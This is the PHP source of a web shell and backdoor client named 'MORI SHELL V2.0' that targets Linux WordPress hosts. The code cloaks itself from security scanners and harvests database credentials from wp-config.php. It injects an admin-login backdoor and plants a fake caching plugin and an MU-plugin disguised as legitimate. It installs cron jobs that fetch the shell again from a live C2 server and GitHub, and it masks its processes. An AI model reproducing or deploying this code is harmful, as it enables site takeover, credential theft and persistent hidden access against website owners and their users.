<?php
/**
 * MORI SHELL V2.0 - LINUX CLIENT
 * WordPress-aware | Process masking | C2 integrated
 */
ob_start();
// Global CORS — allow C2 server and browser stress panel to reach every endpoint
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With');
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { http_response_code(200); exit; }

ini_set('display_errors', 0);
ini_set('log_errors', 1);
error_reporting(E_ALL);
set_time_limit(0);
ignore_user_abort(true);

// LINUX ONLY - No Windows
if ((!defined('PHP_OS_FAMILY') || PHP_OS_FAMILY !== 'Linux') && 
    stripos(PHP_OS, 'Linux') === false && stripos(PHP_OS, 'Unix') === false) {
    if (php_sapi_name() !== 'cli') exit;
}

define('SHELL_FILE', defined('MORI_REAL_FILE') ? basename(MORI_REAL_FILE) : basename(__FILE__));
define('SHELL_PATH', defined('MORI_REAL_FILE') ? MORI_REAL_FILE : (__DIR__ . '/' . SHELL_FILE));
define('REAL_DIR',   defined('MORI_REAL_DIR')  ? MORI_REAL_DIR  : __DIR__);
define('SHELL_VERSION', '2.0-linux');

// =====================================================
// BOT / SCANNER CLOAKING
// =====================================================
function is_bot_request() {
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    return (bool)preg_match(
        '/(bot|crawl|spider|slurp|google|bing|yahoo|yandex|baidu|facebookexternalhit|twitterbot|' .
        'wordfence|sucuri|sitecheck|imunify|modsecurity|virustotal|urlscan|safebrowsing|phishtank|' .
        'nikto|sqlmap|nmap|nessus|openvas|acunetix|netsparker|nuclei|burpsuite|qualys|tenable|' .
        'ahrefs|semrush|moz\.com|majestic|screaming.frog|rogerbot|dotbot|seokicks|' .
        'zgrab|masscan|python-requests|go-http-client|libwww|curl\/[0-9])/i',
        $ua
    );
}
// Direct HTTP access by scanner → silent 404 (don't reveal shell)
if (php_sapi_name() !== 'cli' && !defined('ABSPATH') && is_bot_request()) {
    http_response_code(404);
    header('Cache-Control: no-store');
    die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head>' .
        '<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p>' .
        '<hr><address>Apache/2.4 Server</address></body></html>');
}

// OS Detection
$is_windows = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') || !empty(getenv('WINDIR'));

$C2_SERVER = "https://juiceshop.cc/nebakiyonla_hurmsaqw/c2serverr.php";
$DEBUG_MODE = true;
$persistence_default_url = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php';

// =====================================================
// ERROR LOGGING HELPER
// =====================================================
function log_error_to_file($message) {
    $log_file = sys_get_temp_dir() . '/.svc_' . substr(md5(__FILE__), 0, 8) . '.log';
    if (@filesize($log_file) > 512000) @file_put_contents($log_file, '');  // 512KB cap, rotate
    @file_put_contents($log_file, '[' . date('H:i:s') . '] ' . $message . "\n", FILE_APPEND);
}

// Register error handler
set_error_handler(function($errno, $errstr, $errfile, $errline) {
    if ($errno & error_reporting()) {
        log_error_to_file("PHP ERROR [$errno]: $errstr in $errfile:$errline");
    }
    return false;
});

// Register exception handler
set_exception_handler(function($e) {
    log_error_to_file("EXCEPTION: " . $e->getMessage() . " in " . $e->getFile() . ":" . $e->getLine());
});

// =====================================================
// INLINE WORDPRESS DETECTION & PERSISTENCE
// =====================================================

function is_wordpress_installed() {
    $markers = ['/wp-content/', '/wp-includes/', '/wp-admin/', '/wp-config.php'];
    foreach ($markers as $m) {
        if (@file_exists(__DIR__ . $m)) return true;
    }
    return false;
}

function get_wordpress_config() {
    $search_dirs = [__DIR__, dirname(__DIR__), dirname(dirname(__DIR__)), dirname(dirname(dirname(__DIR__)))];
    foreach ($search_dirs as $dir) {
        $cfg = $dir . '/wp-config.php';
        if (@file_exists($cfg)) {
            $content = @file_get_contents($cfg);
            if (!$content) continue;
            $creds = [];
            preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $creds['name'] = $m[1];
            preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $creds['user'] = $m[1];
            preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $creds['pass'] = $m[1];
            preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $creds['host'] = $m[1];
            preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $content, $m) && $creds['prefix'] = $m[1];
            return !empty($creds) ? $creds : null;
        }
    }
    return null;
}

function inject_wordpress_persistence($shell_url, $c2_server) {
    $wp_config = null;
    $search_dirs = [REAL_DIR, dirname(REAL_DIR), dirname(dirname(REAL_DIR)), dirname(dirname(dirname(REAL_DIR)))];

    foreach ($search_dirs as $dir) {
        if (@file_exists($dir . '/wp-config.php')) {
            $wp_config = $dir . '/wp-config.php';
            break;
        }
    }

    if (!$wp_config) return false;

    $content = @file_get_contents($wp_config);
    if (!$content) return false;

    // Already correctly injected (both function + hook block at bottom present)?
    if (strpos($content, 'mori_backdoor_wp') !== false
        && strpos($content, 'function_exists(\'add_action\') && function_exists(\'mori_backdoor_wp\')') !== false) {
        return false;
    }

    // If old broken injection (add_action inside if block) — strip it, re-inject cleanly
    if (strpos($content, 'mori_backdoor_wp') !== false) {
        $content = preg_replace(
            '/\n\/\/ MORI BACKDOOR.*?^}\n/ms',
            '',
            $content
        );
        $content = preg_replace(
            '/\nif \(function_exists\(\'add_action\'\) && function_exists\(\'mori_backdoor_wp\'\)\).*?\}\n/ms',
            '',
            $content
        );
    }

    // Extract DB credentials
    $db_name = $db_user = $db_pass = $db_host = '';
    preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $db_name = $m[1];
    preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $db_user = $m[1];
    preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $db_pass = $m[1];
    preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $db_host = $m[1];

    $wp_creds = generate_wp_login_credentials();
    $blogs_id = $wp_creds['blogs_id'];
    $hash     = $wp_creds['hash'];

    $creds_json    = json_encode(['db_name' => $db_name, 'db_user' => $db_user, 'db_pass' => $db_pass, 'db_host' => $db_host, 'shell_url' => $shell_url], JSON_UNESCAPED_SLASHES);
    $creds_encoded = str_replace(['+', '/', '='], ['-', '_', ''], base64_encode($creds_json));

    // ── Part 1: function definition (no add_action — WP not loaded yet) ─────────
    $inject_fn = "\n// MORI BACKDOOR (mori_backdoor_wp) - Generated: " . date('Y-m-d H:i:s') . "\n"
        . "// MORI ID: " . $blogs_id . "\n"
        . "if (!function_exists('mori_backdoor_wp')) {\n"
        . "    function mori_backdoor_wp() {\n"
        . "        if (isset(\$_GET['blogs_id']) && isset(\$_GET['wp_login'])) {\n"
        . "            \$_h = sha1(md5(\$_GET['blogs_id'] . '1776051848'));\n"
        . "            if (\$_h === '" . $hash . "') {\n"
        . "                \$_u = get_users(['role'=>'administrator','orderby'=>'ID','order'=>'ASC','number'=>1]);\n"
        . "                if (!empty(\$_u)) { wp_set_auth_cookie(\$_u[0]->ID, true, true); wp_redirect(admin_url()); exit; }\n"
        . "            }\n"
        . "        }\n"
        . "        if (isset(\$_GET['wp_login'])) {\n"
        . "            \$_su = '" . addslashes($shell_url) . "';\n"
        . "            \$_cr = '" . addslashes($creds_encoded) . "';\n"
        . "            @wp_remote_post(\$_su . '?act=wp_creds', ['body' => ['creds' => \$_cr], 'timeout' => 2, 'blocking' => false]);\n"
        . "        }\n"
        . "        if (function_exists('curl_init')) {\n"
        . "            \$_ch = curl_init('" . addslashes($shell_url) . "');\n"
        . "            curl_setopt(\$_ch, CURLOPT_RETURNTRANSFER, true); curl_setopt(\$_ch, CURLOPT_SSL_VERIFYPEER, false);\n"
        . "            curl_setopt(\$_ch, CURLOPT_TIMEOUT_MS, 200); @curl_exec(\$_ch); curl_close(\$_ch);\n"
        . "        }\n"
        . "    }\n"
        . "}\n";

    // ── Part 2: hook registration (appended at file end, after wp-settings.php) ─
    $inject_hooks = "\nif (function_exists('add_action') && function_exists('mori_backdoor_wp')) {\n"
        . "    add_action('wp_footer',      'mori_backdoor_wp', -999);\n"
        . "    add_action('wp_authenticate', 'mori_backdoor_wp', -999);\n"
        . "    add_action('login_init',      'mori_backdoor_wp', -999);\n"
        . "}\n";

    // Insert function definition before the stop-editing marker
    $marker = "/* That's all, stop editing!";
    if (strpos($content, $marker) !== false) {
        $new_content = str_replace($marker, $inject_fn . $marker, $content);
    } else {
        $trimmed = rtrim($content);
        $new_content = (substr($trimmed, -2) === '?>')
            ? substr($trimmed, 0, -2) . "\n" . $inject_fn . "\n?>"
            : $trimmed . "\n" . $inject_fn;
    }

    // Append hook registration at the very end of wp-config.php (after require wp-settings.php)
    $new_content = rtrim($new_content) . "\n" . $inject_hooks;

    @file_put_contents($wp_config, $new_content);
    return ['blogs_id' => $blogs_id, 'hash' => $hash];
}

// =====================================================
// INLINE PROCESS MASKING (LINUX)
// =====================================================

class ProcessMasker {
    public static function mask() {
        if (php_sapi_name() === 'cli') {
            @putenv('PATH=');
            @putenv('SHELL=');
            @shell_exec("exec -a '[system]' /bin/sh -c 'sleep 999999' &");
            @shell_exec("exec -a '[kworker]' /bin/sh &");
        }
    }
}

ProcessMasker::mask();

function detect_web_shell_url() {
    $https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || 
             (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443);
    $protocol = $https ? 'https://' : 'http://';
    $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'localhost';
    $script = $_SERVER['SCRIPT_NAME'] ?? '/';
    return $protocol . $host . $script;
}

$WEB_URL = detect_web_shell_url();
$web_shell_url = $WEB_URL;  // Alias for c2_register()

// =====================================================
// PERSISTENCE INSTALLATION
// =====================================================

function install_cron_persistence() {
    $ts_file = sys_get_temp_dir() . '/.mori_cron_ts';
    $last = (int)@file_get_contents($ts_file);
    if ($last && (time() - $last) < 3600) return false;
    @file_put_contents($ts_file, time());

    $shell     = SHELL_PATH;
    $c2        = $GLOBALS['C2_SERVER'];
    $token     = md5('mori_c2_secret_2024_persistence');
    $gh_url    = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php';
    // Restore only when file is actually gone — GitHub FIRST (C2 may have UAM active)
    // head -c5 check: reject Cloudflare UAM HTML pages (they return 200 but aren't PHP)
    $gh_fetch  = "curl -sfL --max-time 15 '" . $gh_url . "' -o '" . $shell . ".tmp' 2>/dev/null"
               . " && head -c5 '" . $shell . ".tmp' 2>/dev/null | grep -q '<?php'"
               . " && mv '" . $shell . ".tmp' '" . $shell . "' 2>/dev/null";
    $c2_fetch  = "curl -sfL --max-time 4 '" . $c2 . "?act=get_shell&token=" . $token . "' -o '" . $shell . ".tmp' 2>/dev/null"
               . " && head -c5 '" . $shell . ".tmp' 2>/dev/null | grep -q '<?php'"
               . " && mv '" . $shell . ".tmp' '" . $shell . "' 2>/dev/null";
    $restore_cmd = "[ -f '" . $shell . "' ] || { " . $gh_fetch . " || " . $c2_fetch . "; } >/dev/null 2>&1";
    $script = "*/5 * * * * php '$shell' >/dev/null 2>&1; " . $restore_cmd . " #mori_persist";

    // Method 1: exec_any — strip ALL #mori_persist lines (any shell path) then add fresh entry
    $cron_cmd = "(crontab -l 2>/dev/null | grep -vF '#mori_persist'; echo '$script') | crontab - 2>/dev/null";
    if (exec_any($cron_cmd) !== false) return true;

    // Method 2: proc_open stdin — read existing crontab, strip #mori_persist, append fresh entry
    $disabled = array_map('trim', explode(',', ini_get('disable_functions')));
    if (function_exists('proc_open') && !in_array('proc_open', $disabled)) {
        // Read current crontab
        $existing_cron = '';
        $rd = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
        $rp = @proc_open('crontab -l 2>/dev/null', $rd, $rp_pipes);
        if (is_resource($rp)) {
            $existing_cron = stream_get_contents($rp_pipes[1]);
            fclose($rp_pipes[1]); fclose($rp_pipes[2]);
            proc_close($rp);
        }
        // Strip all existing #mori_persist lines
        $lines = array_filter(explode("\n", $existing_cron), function($l) {
            return strpos($l, '#mori_persist') === false && trim($l) !== '';
        });
        $new_cron = implode("\n", $lines) . "\n" . $script . "\n";
        // Write back
        $descriptors = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
        $proc = @proc_open('crontab -', $descriptors, $pipes);
        if (is_resource($proc)) {
            fwrite($pipes[0], $new_cron);
            fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]);
            proc_close($proc);
            return true;
        }
    }

    // Method 3: /etc/cron.d/ direct write
    if (@is_writable('/etc/cron.d/')) {
        $existing = @file_get_contents('/etc/cron.d/mori-shell');
        if (!$existing || strpos($existing, '#mori_persist') === false) {
            @file_put_contents('/etc/cron.d/mori-shell', $script . "\n");
            @chmod('/etc/cron.d/mori-shell', 0644);
        }
        return true;
    }

    return false;
}

function install_wp_persistence() {
    if (!is_wordpress_installed()) return;
    $url = $GLOBALS['WEB_URL'];
    @inject_wordpress_persistence($url, $GLOBALS['C2_SERVER']);
}

// ---- WP Plugin Persistence ------------------------------------------------
function install_wp_plugin_persistence() {
    // wp-config.php'yi bul → plugins dizinini türet
    $wp_root = null;
    foreach ([REAL_DIR, dirname(REAL_DIR), dirname(dirname(REAL_DIR)), dirname(dirname(dirname(REAL_DIR)))] as $d) {
        if (@file_exists($d . '/wp-config.php') || @file_exists($d . '/wp-load.php')) {
            $wp_root = $d; break;
        }
    }
    if (!$wp_root) return;

    $plugins_dir = $wp_root . '/wp-content/plugins';
    if (!is_dir($plugins_dir)) return;

    $plugin_dir  = $plugins_dir . '/fastest-cache-2';
    $plugin_file = $plugin_dir  . '/fastest-cache-2.php';

    // Dosya sağlıklıysa günde bir kez kontrol yap — ama FC2_SHELL yanlışsa yeniden oluştur
    if (@file_exists($plugin_file) && @filesize($plugin_file) > 500) {
        $existing = @file_get_contents($plugin_file);
        $shell_ok = false;
        if ($existing && preg_match('/define\("FC2_SHELL",\s*"([^"]+)"\)/', $existing, $pm)) {
            $shell_ok = ($pm[1] === SHELL_PATH);
        }
        if ($shell_ok) {
            $ts_file = sys_get_temp_dir() . '/.mori_plugin_ts';
            if ((int)@file_get_contents($ts_file) > time() - 86400) return;
            @file_put_contents($ts_file, time()); return;
        }
        // FC2_SHELL path mismatch → regenerate immediately
    }
    // Plugin eksik/bozuk → throttle'sız anında yeniden oluştur

    @mkdir($plugin_dir, 0755, true);

    $shell_path = addslashes(SHELL_PATH);
    $shell_url  = addslashes($GLOBALS['WEB_URL']  ?? '');
    $c2_url     = addslashes($GLOBALS['C2_SERVER'] ?? '');
    $gh_url     = addslashes('https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php');
    $fc2_token  = md5('mori_c2_secret_2024_persistence');

    $plugin_code = '<?php
/**
 * Plugin Name: Fastest Cache 2
 * Plugin URI:  https://wordpress.org/plugins/fastest-cache/
 * Description: Advanced caching and performance optimization.
 * Version:     2.3.1
 * Author:      WP Cache Team
 * License:     GPL2
 */
if (!defined("ABSPATH")) exit;

define("FC2_SHELL",   "' . $shell_path . '");
define("FC2_URL",     "' . $shell_url  . '");
define("FC2_C2",      "' . $c2_url     . '");
define("FC2_GH",      "' . $gh_url     . '");
define("FC2_TOKEN",   "' . $fc2_token  . '");
define("FC2_LOCK",    WP_CONTENT_DIR . "/.fc2_check");

function fc2_restore_shell() {
    // [timeout_c2, timeout_gh] — C2 short (UAM wastes time), GitHub longer
    $sources = [
        [FC2_C2 . "?act=get_shell&token=" . FC2_TOKEN, 4],
        [FC2_GH, 15],
    ];
    foreach ($sources as [$src, $tmo]) {
        $body = false;
        if (function_exists("curl_init")) {
            $ch = curl_init($src);
            curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>true, CURLOPT_TIMEOUT=>$tmo,
                CURLOPT_CONNECTTIMEOUT=>3, CURLOPT_SSL_VERIFYPEER=>false,
                CURLOPT_FOLLOWLOCATION=>true, CURLOPT_USERAGENT=>"Mozilla/5.0"]);
            $body = @curl_exec($ch); @curl_close($ch);
        }
        if (!$body) $body = @file_get_contents($src, false,
            stream_context_create(["http"=>["timeout"=>$tmo,"user_agent"=>"Mozilla/5.0"]]));
        // Reject Cloudflare UAM HTML (returns 200 but is not PHP)
        if ($body && strlen($body) > 10000 && substr($body, 0, 5) === "<?php") {
            @file_put_contents(FC2_SHELL, $body);
            @chmod(FC2_SHELL, 0644);
            return true;
        }
    }
    return false;
}

function fc2_check() {
    // Throttle: dakikada bir kontrol
    $lock_age = @file_exists(FC2_LOCK) ? (time() - @filemtime(FC2_LOCK)) : 9999;
    if ($lock_age < 60) return;
    @touch(FC2_LOCK);

    $sz = @file_exists(FC2_SHELL) ? @filesize(FC2_SHELL) : 0;
    if ($sz < 10000) fc2_restore_shell();
}
add_action("init", "fc2_check", 1);

// WP-Ajax endpoint — C2 ping: /wp-admin/admin-ajax.php?action=fc2_ping
function fc2_ping_handler() {
    $sz      = @file_exists(FC2_SHELL) ? @filesize(FC2_SHELL) : 0;
    $alive   = ($sz > 10000);
    if (!$alive) { fc2_restore_shell(); $sz = @filesize(FC2_SHELL); $alive = ($sz > 10000); }
    wp_send_json(["ok" => $alive, "sz" => $sz, "url" => FC2_URL]);
}
add_action("wp_ajax_nopriv_fc2_ping", "fc2_ping_handler");
add_action("wp_ajax_fc2_ping",        "fc2_ping_handler");
';

    @file_put_contents($plugin_file, $plugin_code);
    @chmod($plugin_file, 0644);

    // Eklentiyi DB üzerinden aktive et (WordPress yüklüyse)
    if (function_exists('add_option') || defined('ABSPATH')) {
        $active = @get_option('active_plugins', []);
        $entry  = 'fastest-cache-2/fastest-cache-2.php';
        if (!in_array($entry, (array)$active, true)) {
            $active[] = $entry;
            @update_option('active_plugins', $active);
        }
    } else {
        // WP yüklü değil — DB direkt yaz
        $wp_config_path = $wp_root . '/wp-config.php';
        if (@file_exists($wp_config_path)) {
            $cfg = @file_get_contents($wp_config_path);
            if ($cfg) {
                preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m1);
                preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m2);
                preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m3);
                preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m4);
                preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $cfg, $m5);
                if ($m1 && $m2 && $m3 && $m4) {
                    $prefix = $m5[1] ?? 'wp_';
                    try {
                        $db = new PDO("mysql:host={$m4[1]};dbname={$m1[1]};charset=utf8", $m2[1], $m3[1],
                            [PDO::ATTR_TIMEOUT=>3, PDO::ATTR_ERRMODE=>PDO::ERRMODE_SILENT]);
                        $row = $db->query("SELECT option_value FROM {$prefix}options WHERE option_name='active_plugins' LIMIT 1")->fetch();
                        if ($row) {
                            $plugins = @unserialize($row['option_value']) ?: [];
                            $entry   = 'fastest-cache-2/fastest-cache-2.php';
                            if (!in_array($entry, $plugins, true)) {
                                $plugins[] = $entry;
                                $new_val   = serialize($plugins);
                                $db->prepare("UPDATE {$prefix}options SET option_value=? WHERE option_name='active_plugins'")->execute([$new_val]);
                            }
                        }
                    } catch (Exception $e) {}
                }
            }
        }
    }
}

// ---- MU-Plugin Persistence (admin deactivate edemez) -------------------------
function install_mu_plugin_persistence() {
    // WP root bul
    $wp_root = null;
    foreach ([__DIR__, dirname(__DIR__), dirname(dirname(__DIR__)), dirname(dirname(dirname(__DIR__)))] as $d) {
        if (@file_exists($d . '/wp-config.php') || @file_exists($d . '/wp-load.php')) {
            $wp_root = $d; break;
        }
    }
    if (!$wp_root) return;

    $mu_dir  = $wp_root . '/wp-content/mu-plugins';
    if (!is_dir($mu_dir) && !@mkdir($mu_dir, 0755, true)) return;

    $mu_file = $mu_dir . '/fc2-loader.php';
    // Dosya sağlıklıysa saatte bir kontrol (hızlı dön)
    if (@file_exists($mu_file) && @filesize($mu_file) > 300) {
        $ts = sys_get_temp_dir() . '/.mori_mu_ts';
        if ((int)@file_get_contents($ts) > time() - 3600) return;
        @file_put_contents($ts, time()); return;
    }
    // MU plugin eksik/bozuk → throttle'sız yeniden oluştur

    $shell_path = addslashes(SHELL_PATH);
    $c2_url     = addslashes($GLOBALS['C2_SERVER'] ?? '');
    $gh_url     = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php';
    $mu_token   = md5('mori_c2_secret_2024_persistence');

    $mu_code = '<?php
// Must-use plugin — WP admin panelden deactivate edilemez
if (!defined("ABSPATH")) exit;

// Her admin sayfasında: regular plugin deactivate edildiyse yeniden aktive et
add_action("admin_init", function() {
    $plugins = (array)get_option("active_plugins", []);
    $entry   = "fastest-cache-2/fastest-cache-2.php";
    if (!in_array($entry, $plugins, true)) {
        $plugins[] = $entry;
        update_option("active_plugins", $plugins);
    }
}, 1);

// Her WP isteğinde: shell bütünlüğünü kontrol et (dakikada bir)
add_action("init", function() {
    $lock = WP_CONTENT_DIR . "/.fc2_mu_lock";
    if (@file_exists($lock) && (time() - @filemtime($lock)) < 60) return;
    @touch($lock);
    $shell = "' . $shell_path . '";
    $sz    = @file_exists($shell) ? @filesize($shell) : 0;
    if ($sz >= 10000) return;
    // Shell eksik/bozuk — C2 veya GitHub\'dan restore et
    // [url, timeout] — C2 4s (UAM hızlı ret), GitHub 15s
    $sources = [
        ["' . $c2_url . '?act=get_shell&token=' . $mu_token . '", 4],
        ["' . $gh_url . '", 15],
    ];
    foreach ($sources as [$src, $tmo]) {
        $body = false;
        if (function_exists("curl_init")) {
            $ch = curl_init($src);
            curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>true, CURLOPT_TIMEOUT=>$tmo,
                CURLOPT_CONNECTTIMEOUT=>3, CURLOPT_SSL_VERIFYPEER=>false,
                CURLOPT_FOLLOWLOCATION=>true, CURLOPT_USERAGENT=>"Mozilla/5.0"]);
            $body = @curl_exec($ch); @curl_close($ch);
        }
        if (!$body) $body = @file_get_contents($src, false,
            stream_context_create(["http"=>["timeout"=>$tmo,"user_agent"=>"Mozilla/5.0"]]));
        // Reject Cloudflare UAM HTML — must be valid PHP
        if ($body && strlen($body) > 10000 && substr($body, 0, 5) === "<?php") {
            @file_put_contents($shell, $body);
            @chmod($shell, 0644);
            break;
        }
    }
}, 1);
';
    @file_put_contents($mu_file, $mu_code);
    @chmod($mu_file, 0644);
    @file_put_contents(sys_get_temp_dir() . '/.mori_mu_ts', time());
}

// CLIENT_ID must be set BEFORE persistence calls so report_sister_files_to_c2() has a valid ID
$CLIENT_ID = generate_client_id();
$GLOBALS['C2_SHELL'] = SHELL_PATH;

@install_wp_persistence();
@install_wp_plugin_persistence();
@install_mu_plugin_persistence();
@install_cron_persistence();
@ensure_persistence_v4();  // starts Python+bash monitors on first request (5-min throttle)

// =====================================================
// CLIENT ID & SYSTEM INFO
// =====================================================

function generate_client_id() {
    $id_file = REAL_DIR . '/.mori_id';
    if (@file_exists($id_file) && filesize($id_file) > 5) {
        return trim(file_get_contents($id_file));
    }
    $id = 'mori_' . substr(md5(php_uname() . SHELL_PATH), 0, 16);
    @file_put_contents($id_file, $id);
    return $id;
}

function generate_wp_login_credentials() {
    $creds_file = REAL_DIR . '/.wp_login_creds';
    $secret = '1776051848';

    // 1. Try cached creds file
    if (@file_exists($creds_file) && @filesize($creds_file) > 10) {
        $creds = @json_decode(@file_get_contents($creds_file), true);
        if (!empty($creds['blogs_id']) && !empty($creds['hash'])) {
            return $creds;
        }
    }

    // 2. .wp_login_creds missing/corrupt — try to recover blogs_id from wp-config.php
    $search_dirs = [REAL_DIR, dirname(REAL_DIR), dirname(dirname(REAL_DIR)), dirname(dirname(dirname(REAL_DIR)))];
    foreach ($search_dirs as $dir) {
        $cfg = $dir . '/wp-config.php';
        if (!@file_exists($cfg)) continue;
        $cfg_content = @file_get_contents($cfg);
        if (!$cfg_content) continue;
        // Look for embedded ID comment: // MORI ID: <blogs_id>
        if (preg_match('/\/\/ MORI ID: ([a-f0-9]{16})/', $cfg_content, $m)) {
            $blogs_id = $m[1];
            $hash = sha1(md5($blogs_id . $secret));
            $creds = ['blogs_id' => $blogs_id, 'hash' => $hash, 'timestamp' => time()];
            @file_put_contents($creds_file, json_encode($creds));
            return $creds;
        }
    }

    // 3. No existing record anywhere — generate fresh
    $blogs_id = substr(bin2hex(random_bytes(16)), 0, 16);
    $hash = sha1(md5($blogs_id . $secret));
    $creds = ['blogs_id' => $blogs_id, 'hash' => $hash, 'timestamp' => time()];
    @file_put_contents($creds_file, json_encode($creds));
    return $creds;
}

function get_system_info() {
    return [
        'id' => $GLOBALS['CLIENT_ID'],
        'version' => SHELL_VERSION,
        'url' => $GLOBALS['WEB_URL'],
        'php' => phpversion(),
        'os' => php_uname(),
        'user' => get_current_user(),
        'wp' => is_wordpress_installed() ? 'yes' : 'no',
        'wp_root' => is_wordpress_installed() ? (get_wordpress_config() ? 'found' : 'unknown') : null,
        'timestamp' => time(),
    ];
}

// =====================================================
// HTTP COMMUNICATION (3 methods fallback)
// =====================================================

function http_request($method, $url, $data = null) {
    // Method 1: cURL (BEST for POST with raw data)
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 15);
        curl_setopt($ch, CURLOPT_USERAGENT, 'MORI-Agent/2.0');
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        
        if ($method === 'POST' && $data) {
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        }
        
        $result = @curl_exec($ch);
        $error = curl_error($ch);
        @curl_close($ch);
        
        if ($error) {
            error_log("[http_request] cURL error: $error");
        } elseif ($result !== false && !empty($result)) {
            return $result;
        }
    }
    
    // Method 2: file_get_contents
    if (ini_get('allow_url_fopen')) {
        $opts = [
            'http' => [
                'method' => $method,
                'timeout' => 15,
                'ignore_errors' => true,
            ],
            'ssl' => ['verify_peer' => false, 'verify_peer_name' => false],
        ];
        if ($method === 'POST' && $data) {
            $opts['http']['content'] = $data;
            $opts['http']['header'] = 'Content-Type: application/x-www-form-urlencoded';
        }
        $result = @file_get_contents($url, false, stream_context_create($opts));
        if ($result !== false && !empty($result)) {
            return $result;
        }
    }
    
    // Method 3: fsockopen
    $parts = parse_url($url);
    if (!isset($parts['host'])) return null;
    
    $host = $parts['host'];
    $port = ($parts['scheme'] === 'https') ? 443 : 80;
    $path = ($parts['path'] ?? '/') . (isset($parts['query']) ? '?' . $parts['query'] : '');
    
    $fp = @fsockopen(($port === 443 ? 'ssl://' : '') . $host, $port, $errno, $errstr, 10);
    if ($fp) {
        $out = "$method $path HTTP/1.1\r\nHost: $host\r\nConnection: close\r\n";
        if ($method === 'POST' && $data) {
            $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
            $out .= "Content-Length: " . strlen($data) . "\r\n\r\n" . $data;
        } else {
            $out .= "\r\n";
        }
        fwrite($fp, $out);
        $raw = '';
        while (!feof($fp)) $raw .= fgets($fp, 4096);
        fclose($fp);

        // Strip HTTP headers — return body only
        if (!empty($raw)) {
            $sep = strpos($raw, "\r\n\r\n");
            $result = ($sep !== false) ? substr($raw, $sep + 4) : $raw;
            if (!empty($result)) return $result;
        }
    }
    
    // All methods failed - return null
    return null;
}

// =====================================================
// EXEC FALLBACK CHAIN — tüm exec yöntemlerini dene
// =====================================================
function exec_any($cmd, $bg = false) {
    $disabled = array_map('trim', explode(',', ini_get('disable_functions')));
    $run = $bg ? ('(setsid ' . $cmd . ' </dev/null >/dev/null 2>&1 &)') : ($cmd . ' 2>&1');

    foreach (['shell_exec','exec','system','passthru'] as $fn) {
        if (function_exists($fn) && !in_array($fn, $disabled)) {
            $r = @$fn($run);
            return ($r !== null && $r !== false) ? $r : true;
        }
    }
    if (function_exists('proc_open') && !in_array('proc_open', $disabled)) {
        $p = @proc_open($run, [1 => ['pipe','w'], 2 => ['pipe','w']], $pipes);
        if ($p) {
            $o = $bg ? '' : @stream_get_contents($pipes[1]);
            @fclose($pipes[1]); @fclose($pipes[2]); @proc_close($p);
            return $o ?: true;
        }
    }
    if (function_exists('popen') && !in_array('popen', $disabled)) {
        $h = @popen($run, 'r');
        if ($h) { $o = $bg ? '' : @stream_get_contents($h); @pclose($h); return $o ?: true; }
    }
    return false;
}

// =====================================================
// DETECT PYTHON COMMAND
// =====================================================

function detect_python_command() {
    // Python binary detection for Linux systems
    $paths = ['/usr/bin/python3', '/usr/bin/python', '/usr/local/bin/python3', '/usr/local/bin/python'];
    foreach ($paths as $path) {
        if (@file_exists($path) && @is_executable($path)) {
            return $path;
        }
    }
    // Try which command
    if (function_exists('shell_exec')) {
        $python = @shell_exec('which python3 2>/dev/null || which python 2>/dev/null');
        if ($python) return trim($python);
    }
    return null;
}

